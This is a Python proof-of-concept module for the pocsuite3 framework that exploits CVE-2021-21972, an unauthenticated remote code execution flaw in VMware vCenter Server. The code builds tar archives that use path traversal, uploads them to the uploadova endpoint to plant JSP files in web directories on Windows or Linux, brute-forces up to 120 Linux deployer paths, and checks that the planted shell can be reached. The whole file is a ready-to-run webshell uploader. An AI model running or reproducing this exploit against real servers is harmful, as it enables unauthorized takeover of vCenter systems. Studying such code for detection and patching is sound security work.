#!/usr/bin/env python
# coding: utf-8
import tarfile
from io import BytesIO
from pocsuite3.api import POCBase, Output, register_poc, logger, POC_CATEGORY, requests, get_listener_ip, \
get_listener_port
from pocsuite3.lib.utils import random_str
class DemoPOC(POCBase):
vulID = '99134'
version = '1.0'
author = ['kuipla']
vulDate = '2021-02-23'
createDate = '2021-02-25'
updateDate = '2021-02-25'
references = ['https://www.seebug.org/vuldb/ssvid-99134']
name = 'VMware vCenter Server未授权RCE漏洞(CVE-2021-21972)'
appPowerLink = 'https://www.vmware.com/'
appName = 'VMware vCenter Server'
appVersion = 'version < 7.0 U1c、version < 6.7 U3l、version < 6.5 U3n'
vulType = 'UnAuth RCE'
desc = ''''''
samples = ['']
install_requires = ['']
category = POC_CATEGORY.TOOLS.CRACK
protocol = POC_CATEGORY.PROTOCOL.SSH
def uploadFile(self, ip, file_name, path, file_content):
payload = BytesIO()
tar = tarfile.open(mode="w", fileobj=payload)
if "statsreport" in path:
tarinfo = tarfile.TarInfo(name=r'{}\{}'.format(path, file_name))
else:
tarinfo = tarfile.TarInfo(name=r'{}/{}'.format(path, file_name))
f1 = BytesIO(file_content.encode())
tarinfo.size = len(f1.read())
f1.seek(0)
tar.addfile(tarinfo, fileobj=f1)
tar.close()
payload.seek(0)
res = requests.post(
f'{ip}/ui/vropspluginui/rest/services/uploadova',
files={'uploadFile': payload.read()},
timeout=10,
verify=False,
)
return res
def uploadLinuxRandomPayload(self, ip, file_name, file_content, check_flag):
logger.info("[-] Shell upload SUCCESS, BUT NOT EXIST, trying Linux Random payload...")
for i in range(120):
path = r'../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/{}/0/h5ngc.war/resources'.format(i)
logger.info('[+] Adding ' + file_name + ' as ' + r'{}/{}'.format(path, file_name) + ' to archive')
payload = BytesIO()
tar = tarfile.open(mode="w", fileobj=payload)
tarinfo = tarfile.TarInfo(name=r'{}/{}'.format(path, file_name))
f1 = BytesIO(file_content.encode())
tarinfo.size = len(f1.read())
f1.seek(0)
tar.addfile(tarinfo, fileobj=f1)
tar.close()
payload.seek(0)
requests.post(
f'{ip}/ui/vropspluginui/rest/services/uploadova',
files={'uploadFile': payload.read()},
timeout=10,
verify=False,
allow_redirects=False
)
resp = requests.get(self.url + "/ui/resources/" + file_name, verify=False,
allow_redirects=False)
if resp.status_code == 200 and check_flag in resp.text:
logger.error("[+] Get Server Random Path !!!! Try path {}".format(path))
return resp
logger.info("[-] All payload has been upload but not SUCCESS")
return ""
def exploit(self, file_content, check_flag):
url = self.url.rstrip('/')
file_name = random_str() + '.jsp'
path_linux = r'../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/42/0/h5ngc.war/resources'
path_windows = r'..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport'
shell_url = ""
resp = requests.get(url + "/ui/vropspluginui/rest/services/uploadova", verify=False)
if resp.status_code == 405:
res = self.uploadFile(url, file_name, path_windows, file_content)
# the default is upload windows shell
if res.status_code == 200 and "SUCCESS" in res.text:
resp = requests.get(self.url + "/statsreport/" + file_name, verify=False)
shell_url = self.url + "/statsreport/" + file_name
# if upload SUCCESS but the file dont exists, check with linux shell
if not (resp.status_code == 200 and check_flag in resp.text):
logger.info("[+] trying to upload linux webshell")
resp = self.uploadFile(url, file_name, path_linux, file_content)
shell_url = self.url + "/ui/resources/" + file_name
logger.info("[+] i am here")
if resp.status_code == 200 and "SUCCESS" in resp.text:
resp = requests.get(self.url + "/ui/resources/" + file_name, verify=False,
allow_redirects=False)
if not (resp.status_code == 200 and check_flag in resp.text):
# linux path is random, vCenter will regenerate web folder when vCenter Server restart, Attempts to brute force web folders up to 120 times
res = self.uploadLinuxRandomPayload(self.url, file_name, file_content, check_flag)
if res:
resp = res
else:
res = self.uploadFile(url, file_name, path_linux, file_content)
shell_url = self.url + "/ui/resources/" + file_name
if res.status_code == 200 and "SUCCESS" in res.text:
resp = requests.get(self.url + "/ui/resources/" + file_name, verify=False,
allow_redirects=False)
if not (resp.status_code == 200 and check_flag in resp.text):
res = self.uploadLinuxRandomPayload(self.url, file_name, file_content, check_flag)
if res:
resp = res
return resp, shell_url
def _verify(self):
result = {}
check_flag = random_str()
file_content = '<% out.println("{}"); %>'.format(check_flag)
try:
resp, shell_url = self.exploit(file_content, check_flag)
if resp.status_code == 200 and check_flag in resp.text and shell_url:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['shell_path'] = shell_url
except Exception as e:
logger.error(e)
return self.parse_output(result)
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output
register_poc(DemoPOC)
暂无评论